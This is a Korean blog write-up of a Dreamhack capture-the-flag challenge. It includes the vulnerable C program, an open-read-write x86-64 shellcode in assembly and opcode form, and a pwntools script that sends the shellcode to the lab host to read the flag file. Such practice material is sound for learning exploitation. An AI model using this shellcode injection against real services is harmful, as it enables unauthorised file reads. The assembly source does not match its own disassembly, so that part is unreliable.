shell_basic

현재·2023년 12월 30일

sys

목록 보기
9/9

문제

입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.

main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.

https://dreamhack.io/wargame/challenges/410

코드

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

이 코드는 Seccomp를 사용하여 execveexecveat 시스템 호출을 허용하지 않고, 사용자로부터 입력받은 shellcode를 실행하는 프로그램이다.

셸코드

section .text

global _start

_start:
        ; 파일 경로를 스택에 푸시
        push 0x00
        push 0x6F6F6F6F6F6F6F6F ; "oooooong"
        push 0x695F73615F656D61 ; "ame_is_l"
        push 0x6C662F636E5F616C ; "c/flag_n"
        push 0x625f6C6C65697361 ; "ell_basi"
        push 0x6D6F682F68732F65 ; "/home/sh"

        ; 파일 열기
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 2
        syscall

        ; 열린 파일의 파일 디스크립터를 rdi에 복사
        mov rdi, rax
        ; 파일에서 데이터 읽기
        mov rsi, rsp
        sub rsi, 0x30
        mov rdx, 0x30
        mov rax, 0
        syscall

        ; 데이터 표준 출력
        mov rdi, 1
        mov rax, 1
        syscall

        ; 프로그램 종료
        xor rdi, rdi
        mov rax, 60
        syscall

먼저 flag의 경로 /home/shell_basic/flag_name_is_loooooong를 stack에 넣은 후, 해당 파일을 열고 데이터를 읽어와 표준 출력에 출력하는 코드이다
x86_64 아키텍처에서 문자열은 null 종료 문자('\0')로 끝나야 하며, 스택에서 문자열을 사용하는 경우 이 null 종료 문자가 문자열의 끝에 와야 하기 때문에 제일 먼저 push 0x00 했다

shelcode 추출

sudo apt-get install nasm 
nasm -f elf64 orw.asm #orw.o 파일 생성
objdump -d orw.o
Disassembly of section .text:

0000000000000000 <_start>:
   0:	6a 00                	pushq  $0x0
   2:	48 b8 6f 6f 6f 6f 6f 	movabs $0x676e6f6f6f6f6f6f,%rax
   9:	6f 6e 67 
   c:	50                   	push   %rax
   d:	48 b8 61 6d 65 5f 69 	movabs $0x6c5f73695f656d61,%rax
  14:	73 5f 6c 
  17:	50                   	push   %rax
  18:	48 b8 63 2f 66 6c 61 	movabs $0x6e5f67616c662f63,%rax
  1f:	67 5f 6e 
  22:	50                   	push   %rax
  23:	48 b8 65 6c 6c 5f 62 	movabs $0x697361625f6c6c65,%rax
  2a:	61 73 69 
  2d:	50                   	push   %rax
  2e:	48 b8 2f 68 6f 6d 65 	movabs $0x68732f656d6f682f,%rax
  35:	2f 73 68 
  38:	50                   	push   %rax
  39:	48 89 e7             	mov    %rsp,%rdi
  3c:	48 31 f6             	xor    %rsi,%rsi
  3f:	48 31 d2             	xor    %rdx,%rdx
  42:	b8 02 00 00 00       	mov    $0x2,%eax
  47:	0f 05                	syscall 
  49:	48 89 c7             	mov    %rax,%rdi
  4c:	48 89 e6             	mov    %rsp,%rsi
  4f:	48 83 ee 30          	sub    $0x30,%rsi
  53:	ba 30 00 00 00       	mov    $0x30,%edx
  58:	b8 00 00 00 00       	mov    $0x0,%eax
  5d:	0f 05                	syscall 
  5f:	bf 01 00 00 00       	mov    $0x1,%edi
  64:	b8 01 00 00 00       	mov    $0x1,%eax
  69:	0f 05                	syscall 
  6b:	48 31 ff             	xor    %rdi,%rdi
  6e:	b8 3c 00 00 00       	mov    $0x3c,%eax
  73:	0f 05                	syscall

이렇게 쉘코드를 추출하고 답 제출을 했는데

잘안됬다

그래서 파이썬을 이용했다.

from pwn import *
 
r = remote("host3.dreamhack.games", 23964)
 
context.log_level = 'debug'
context.arch = 'amd64'
 
shellcode = "\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
 
r.sendlineafter("shellcode: ", shellcode)
print(r.recv())

profile
개발자

0개의 댓글